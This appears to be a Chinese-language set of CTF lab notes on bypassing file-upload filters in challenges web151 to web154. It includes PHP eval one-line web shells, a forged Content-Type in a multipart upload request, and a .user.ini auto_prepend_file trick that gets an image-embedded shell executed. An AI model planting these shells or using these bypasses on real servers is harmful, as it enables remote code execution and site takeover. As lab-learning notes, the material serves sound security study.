-
web151
提示前端验证绕过,就上传png后抓包改成php一句话传入后端
<?php @eval($_POST['a']);?> -
web152
和上题一模一样,应该是哪里出问题了,所以看了下wp,应该是文件类型验证
Content-Type是文件类型,不同的文件都会对应不同的ContentType。 PHP文件的文件类型为:application/octet-stream Png的Content-Type是image/png
请求包头中,开发者会通过Content-Type判断文件是否允许上传,但是Content-Type可以通过抓包篡改,这样就可以绕过Content-Type过滤
POST内容加上image/png类型即可(因为我本来就是上传的png图片格式所以没有被js拦下来,文件类型在bp都不用改)
Content-Disposition: form-data; name="file"; filename="yijuhua.php"
Content-Type: image/png
<?php @eval($_POST['a']);?>
-
web153
照葫芦画瓢,但是抓包改为php后,提示unicode"文件类型不合规"
扫了一遍目录,/upload/index.php居然文件夹有index索引,可以利用.user.ini文件来进行上传(.htaccess文件只能针对Apache环境,这里是nginx,F12可以看)
(转自Asukaangle)某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。
.user.ini文件会让同文件夹里面的jpg文件以php解析,auto_prepend_file=yijuhua.png
前端改成ini可以通过,抓包修改文件类型就把.user.ini传进去啦,因为我传的是一个一句话图片马,所以经过ini的解析,这个upload文件夹里的index.php会解析木马,直接用ants连接index.php就行 -
web154
<?=eval($_POST[1]);?>
提示后端不能单二校验
随便传个图片马,显示文件上传失败,失败原因:文件内容不合规。
兄弟比我写的详细:https://www.cnblogs.com/IFS-/p/17249732.html
四种php标记风格:https://blog.csdn.net/qq_35085863/article/details/76714367
试了两个小时,容器换了5次,都G的,哎,后面补坑。
第二天中午来补坑,不知道为啥上传的png格式的图片马都被注释到html里面了,然后把js一关。。。flag就出来了QAQ
还有一种传马就是txt一句话,user.ini也是解析该txt文件,POST参数即代码执行。 -
web155